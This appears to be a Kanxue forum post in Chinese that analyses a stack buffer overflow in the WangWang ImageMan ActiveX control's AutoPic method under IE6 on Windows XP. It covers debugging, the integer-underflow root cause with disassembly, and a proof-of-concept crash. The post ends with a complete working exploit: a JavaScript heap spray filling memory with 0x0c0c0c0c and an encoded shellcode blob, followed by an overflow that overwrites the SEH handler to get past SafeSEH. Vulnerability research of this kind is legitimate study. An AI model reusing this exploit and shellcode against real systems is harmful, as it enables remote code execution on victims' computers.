该漏洞是我在漏洞战争一书中看到的,书中对该漏洞的描述相对较少,并且作者有意将该漏洞的溢出原理及利用代码写错,所以我为此漏洞写了这篇文章来方便大家参考。
以下为作者提供的poc代码,首先构造了一个超长的缓冲区,之后调用AtiveX对象的AutoPic方法,并将缓冲区传入发生溢出,程序崩溃。
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
var buffer = '';while (buffer.length
定位缓冲区所在函数
我对常见的栈溢出,使用poc文件触发崩溃的情景,做一下总结,将其分成的4种情况:
1.
被溢出缓冲区所在的函数中,因缓冲区溢出修改了位于缓冲区高地址的变量,导致未能执行到函数返回就触发异常,这种情况异常一定位于位于缓冲区溢出后,但可能位于缓冲区所在的函数,也可能位于将被修改的局部变量作为参数的其他函数中,这种情况我们可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数,如果当前栈帧就是被破环的栈帧,那么当前地址所在函数就是缓冲区所在函数。
2.
程序在调用被溢出缓冲区所在函数时,传递了之前函数栈帧的局部变量指针,并在溢出后使用了该指针指向的变量引发崩溃的情况,原因是缓冲区溢出的数据覆盖到参数指针引用到的局部变量,这种情况我们依然可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数。
3. 触发内存访问异常(c0000005),例如漏洞的栈溢出没有限制,我们可以溢出大量的数据,直至到达栈所映射内存页的末尾,触发内存访问异常,这种情况触发异常的代码就是溢出点,我们可以也通过查看栈回溯和栈所在内存,找到缓冲区所在函数。
4.
程序已经跳转到我们写入数据所对应的地址,此时我们只需要定位偏移位置,就可以进一步实现漏洞利用,但是如果我们要分析漏洞的话,就需要找到缓冲区所在函数,我们可以通过查看缓冲区所在函数最后一个函数调用的返回地址来定位,具体就是查看sp寄存器指向地址,向低地址方向的内存,查找4/8字节类似返回地址的数据。
以上只是些常见情况的简单总结,在实际遇到的问题中更多的是具体问题具体解决。
现在来看要分析的漏洞,我所实验的环境为winxp sp3虚拟机+IE6的浏览器,以下为实验过程
I.打开IE6,并使用windbg附加进程并运行,拖拽打开poc.html,程序崩溃
当前情况正好符合我们总结的第3种情况,我们可以通过栈回溯找到缓冲区所在的函数,位于ImageMan模块,通过向低地址反汇编我们找到函数的首地址为0x1001ab7f,所在模块信息:
Dll Start End SafeSEH ASLRImageMan 0x10000000 0x10054000 true false
II.因为该漏洞的溢出原理相对比较简单,所以我这里直接从缓冲区溢出函数开始分析,重新打开IE6, windbg附加进程。
因为ImageMan是动态加载的,所以不能直接对该地址下断点,有两种方式解决:
一. 是在dll加载后对0x1001ab7f地址下断点
附加程序后,执行sex ld:ImageMan 命令并运行,会在加载ImageMan模块后断下,再对0x1001ab7地址下断点
二. 是使用硬件执行断点
我在使用第一种方法时,程序还未执行到漏洞函数,便在gdiplus模块中崩溃,通过测试查找问题原因发现这并不是漏洞引发的原因(我将触发漏洞的代码注释掉,还是在gdiplus模块中崩溃),我推测是windbg执行完sex
ld:ImageMan后引发的问题,暂时忽略这个问题,使用第二个方法进行调试
成功断到漏洞函数,根据IDA对该函数的分析得知,该函数有3个参数,第二个参数为我们在js中调用target.AutoPic(buffer,"defaultV");传入的buffer(“AAAAA…”),可以得出结论,AutoPic简介调用漏洞函数,并将构造的输入传入漏洞函数,触发漏洞。
栈溢出原理分析
根据分析,漏洞函数做了以下事情:
int __stdcall vulnFun(int arg1, LPCWSTR lpBuffer, int arg3){char strPath[0x104] = { 0 };char targetPath[0x104] = { 0 };char *endPtr;//该函数不是字符串操作函数只负责将lpBuffer转换为ascii码保存到strPath中并保证不超过strPath缓冲区的大小,//但并不会为strPath添加'\0'结束符WideCharToMultiByte(0, 0, lpBuffer, -1, strPath, 0x104, 0, 0);//该函数查找字符串中最后一个'\'符的地址,没有找到则返回NULLendPtr = strrchr(strPath, '\\') ;// 该函数在拷贝字符串时,当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝strncpy(targetPath, strPath, endPtr - strPath + 1);......}
srcPath的长度为0x104,而lpBuffer为我们输入的数据的长度,远超0x104,所以当执行完WideCharToMultiByte函数后, strPath末尾没有0结束符,j将全部填充为我们输入的数据的前0x104个字符
还有一个需要注意的事情就是,targetPath与srcPath的地址是连续的,targetPath在srcPath的高地址,刚开始两个数组都被初始化为全0,所以strPath可以作为一个以targetPath第一个元素为结尾的字符串,长度为0x104,所以之后执行strrch函数并没有发生什么问题,由于我们输入的数据没有包含\符号,所以函数返回0,并赋值给endPtr
之后通过(endPtr-strPath)+1来计算要拷贝的数据大小,这时endPtr为0,结果为负数,也是一个很大的正整数,0xffed2141如下图:
接下来通过strncpy,进行拷贝,拷贝长度为0xffed2141,从strPath,拷贝到targetPath。这时候就有问题了,strncpy函数当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝,最大长度是达不到的,'\0'也是达不到的。如图:
本来strPath可以以targetPath第一个元素为字符串结尾,现在永远也拷不到结尾了,所以触发了内存访问冲突异常。
总结溢出条件:
当输入数据长度大于等于0x104, 并且不包含'\'字符就会发生溢出。
以下为IDA分析后的代码:
.text:1001AB7F ; int __stdcall vulnFun(int, LPCWSTR lpBuffer, int).text:1001AB7F vulnFun proc near ; DATA XREF: .rdata:1003ED5Co.text:1001AB7F ; .rdata:1003F1F0o.text:1001AB7F.text:1001AB7F var_31C = dword ptr -31Ch.text:1001AB7F var_318 = dword ptr -318h.text:1001AB7F var_314 = byte ptr -314h.text:1001AB7F MultiByteStr = byte ptr -310h.text:1001AB7F endPtr = dword ptr -20Ch.text:1001AB7F srcPath = byte ptr -208h.text:1001AB7F targetPath = byte ptr -104h.text:1001AB7F s = dword ptr 0.text:1001AB7F r = dword ptr 4.text:1001AB7F arg_0 = dword ptr 8.text:1001AB7F lpBuffer = dword ptr 0Ch.text:1001AB7F arg_8 = dword ptr 10h.text:1001AB7F.text:1001AB7F push ebp.text:1001AB80 mov ebp, esp.text:1001AB82 sub esp, 31Ch.text:1001AB88 push edi ; ------------------------.text:1001AB89 mov [ebp+srcPath], 0.text:1001AB90 mov ecx, 40h.text:1001AB95 xor eax, eax.text:1001AB97 lea edi, [ebp+srcPath+1].text:1001AB9D rep stosd.text:1001AB9F stosw.text:1001ABA1 stosb ; char srcPath[0x104] = {0} ;.text:1001ABA1 ; ---------------------------------.text:1001ABA2 push 0 ; lpUsedDefaultChar.text:1001ABA4 push 0 ; lpDefaultChar.text:1001ABA6 push 104h ; cbMultiByte.text:1001ABAB lea eax, [ebp+srcPath].text:1001ABB1 push eax ; lpMultiByteStr.text:1001ABB2 push 0FFFFFFFFh ; cchWideChar.text:1001ABB4 mov ecx, [ebp+lpBuffer].text:1001ABB7 push ecx ; lpWideCharStr.text:1001ABB8 push 0 ; dwFlags.text:1001ABBA push 0 ; CodePage.text:1001ABBC call ds:WideCharToMultiByte ; 该函数不是串操作函数,.text:1001ABBC ; 所以在转换结束后不会为目标字符串添加'\0'结束符号.text:1001ABC2 mov [ebp+MultiByteStr], 0.text:1001ABC9 mov ecx, 40h.text:1001ABCE xor eax, eax.text:1001ABD0 lea edi, [ebp+MultiByteStr+1].text:1001ABD6 rep stosd.text:1001ABD8 stosw.text:1001ABDA stosb.text:1001ABDB push '\' ; Ch.text:1001ABDD lea edx, [ebp+srcPath].text:1001ABE3 push edx ; srcPath.text:1001ABE4 call _strrchr ; 获取字符串中最后一个'/'的地址,如果没有找到'/'则返回NULL(0).text:1001ABE9 add esp, 8.text:1001ABEC mov [ebp+endPtr], eax.text:1001ABF2 mov [ebp+targetPath], 0.text:1001ABF9 mov ecx, 40h.text:1001ABFE xor eax, eax.text:1001AC00 lea edi, [ebp+targetPath+1].text:1001AC06 rep stosd.text:1001AC08 stosw.text:1001AC0A stosb.text:1001AC0B mov eax, [ebp+endPtr].text:1001AC11 lea ecx, [ebp+srcPath].text:1001AC17 sub eax, ecx ; 这里我们传入的路径没有'/',所以返回值为0,.text:1001AC17 ; 减去首地址发生整数溢出,等到一个负数,拷贝时参数为无.text:1001AC17 ; 符号数,所以为一个非常大的无符号数.text:1001AC19 add eax, 1 ; +1为要拷贝的字符串长度.text:1001AC1C push eax.text:1001AC1D lea edx, [ebp+srcPath].text:1001AC23 push edx.text:1001AC24 lea eax, [ebp+targetPath].text:1001AC2A push eax.text:1001AC2B call strncpy ; 该函数在拷贝字符串时,当拷贝足够字符串长度.text:1001AC2B ; 或遇到'\0'字符串结尾结束.text:1001AC30 add esp, 0Ch.text:1001AC33 lea ecx, [ebp+targetPath].text:1001AC39 push ecx ; Str.text:1001AC3A mov ecx, [ebp+arg_0].text:1001AC3D add ecx, 0BCh.text:1001AC43 call sub_100271FE.text:1001AC48 lea edx, [ebp+MultiByteStr].text:1001AC4E push edx ; int.text:1001AC4F lea eax, [ebp+srcPath].text:1001AC55 push eax ; FullPath.text:1001AC56 mov ecx, [ebp+arg_0].text:1001AC59 call sub_10018BA1.text:1001AC5E lea ecx, [ebp+MultiByteStr].text:1001AC64 push ecx ; lpMultiByteStr.text:1001AC65 lea ecx, [ebp+var_314].text:1001AC6B call sub_1001BFE0.text:1001AC70 cmp [ebp+arg_8], 0.text:1001AC74 jnz short loc_1001AC93.text:1001AC76 mov [ebp+var_318], 0.text:1001AC80 lea ecx, [ebp+var_314].text:1001AC86 call sub_1001C040.text:1001AC8B mov eax, [ebp+var_318].text:1001AC91 jmp short loc_1001ACC5.text:1001AC93 ; ---------------------------------------------------------------------------.text:1001AC93.text:1001AC93 loc_1001AC93: ; CODE XREF: vulnFun+F5j.text:1001AC93 lea ecx, [ebp+var_314].text:1001AC99 call sub_1001C060.text:1001AC9E push eax ; psz.text:1001AC9F call ds:SysAllocString.text:1001ACA5 mov edx, [ebp+arg_8].text:1001ACA8 mov [edx], eax.text:1001ACAA mov [ebp+var_31C], 0.text:1001ACB4 lea ecx, [ebp+var_314].text:1001ACBA call sub_1001C040.text:1001ACBF mov eax, [ebp+var_31C].text:1001ACC5.text:1001ACC5 loc_1001ACC5: ; CODE XREF: vulnFun+112j.text:1001ACC5 pop edi.text:1001ACC6 mov esp, ebp.text:1001ACC8 pop ebp.text:1001ACC9 retn 0Ch.text:1001ACC9 vulnFun endp
利用思路
利用堆喷射,填充0x0c0c0c0c地址,再传入'\u000c'(转换为ascii后为'\x0c')
组成的长度>=0x104的unicode字符串,
溢出后会将缓冲区往高地址方向一直到不可访问的内存页之前全部填充为'\x0c',包括SHE节点的异常处理函数的地址都被覆盖为0x0c0c0c0c,此时触发内存访问异常,IE6并没有开启数据执行保护,但ImageMan模块开启了safeSEH,但0x0c0c0c0c为堆上的地址,所以我们刚好绕过了SafeSEH保护,程序触发异常后跳转到0x0c0c0c0c地址执行代码。
利用代码:
wangwang ActiveX漏洞
//Heap Spraying
//构建4kb内存页
Var shellCode =
unescape("\uFFE8\uFFFF\uC3FF\uFC58\u708D\u8B17\u99FE\u12B2\uC933\uB966\u00FC\u32AC\uAAC2\uFAE2\uFE91\u916D\u6DFE\uFE91\u916D\uEEF6\u6E9F\u5236\u1EF9\u2095\uD2CA\u1878\u0C2A\u9B71\u5DC3\uEDFA\uEDED\uD1ED\u9148\u03F8\uD221\u9976\u2252\u5299\u991E\u0E52\uFA91\u9913\u1352\u4A99\u991A\u2E51\uD111\u5299\u116A\u99D1\u0E5A\uD911\u9943\u365A\uD911\u9943\u3252\uD111\uDB21\u4042\u998B\u9A26\uE111\u8B80\uD340\u0BF0\u3ED3\u1536\u061B\u4836\uC211\u96BE\u67D2\u4AFF\u0229\u4A80\u1166\uF953\u4ACB\u9974\u5A1E\uA51D\u4ADB\u1699\u119A\uB9D1\uD091\u9316\u7828\u2A18\u660C\u9318\u7128\uC39B\u665D\uF930\u4050\u748B\u21A8\u4020\u67AA\u7761\u4260\uD699\u408B\u4240\u45ED\u4BEE\u484B\uCA99\u6AFB\uEDED\u40ED\u408B\u77AA\u217E\u4220\u79AA\u6077\u427C\uD699\u4040\uED42\uEA45\u4B4B\u484B\uCA99\u44FB\uEDED\u8BED\uAA40\u7D7E\u627D\u9942\u40D6\u4242\uED40\uEA45\u45ED\u12EE")
var fillData = unescape("\u0c0c\u0c0c") ;
while(fillData.length < 0x800)
{
fillData += fillData ;
}
fillData = fillData.substr(0, 0x800 - shellCode.length) ;
var heapBlock = fillData + shellCode ;
//以0x40000*2 = 512kb为一个堆块
while(heapBlock.length < 0x40000 )
{
heapBlock += heapBlock ;
}
heapBlock = heapBlock.substr(0x2, 0x40000 - 0x1) ; //减去堆块中除数据以外的字符串的描述信息(在数据前,影响数据偏移的4字节字符串长度信息,数据后2字节的字符串结尾标志),以保证一个堆块为512kb
//申请200Mb
var arr = new Array() ;
for(var i = 0 ; i < 400; i++)
{
arr[i] = heapBlock.substr(0, heapBlock.length); //512kb
}
//栈溢出
var buff = "\u000c" ;
while(buff.length < 0x104)
{
buff += buff ;
}
buff = buff.substr(0, 0x104) ;
var target = document.getElementById("target") ;
target.AutoPic(buff, "defaultV") ;
漏洞软件: 链接:http://pan.baidu.com/s/1o8v8KH0 密码:0fo1
本文由看雪论坛 布衣勇者 原创 转载请注明来自看雪社区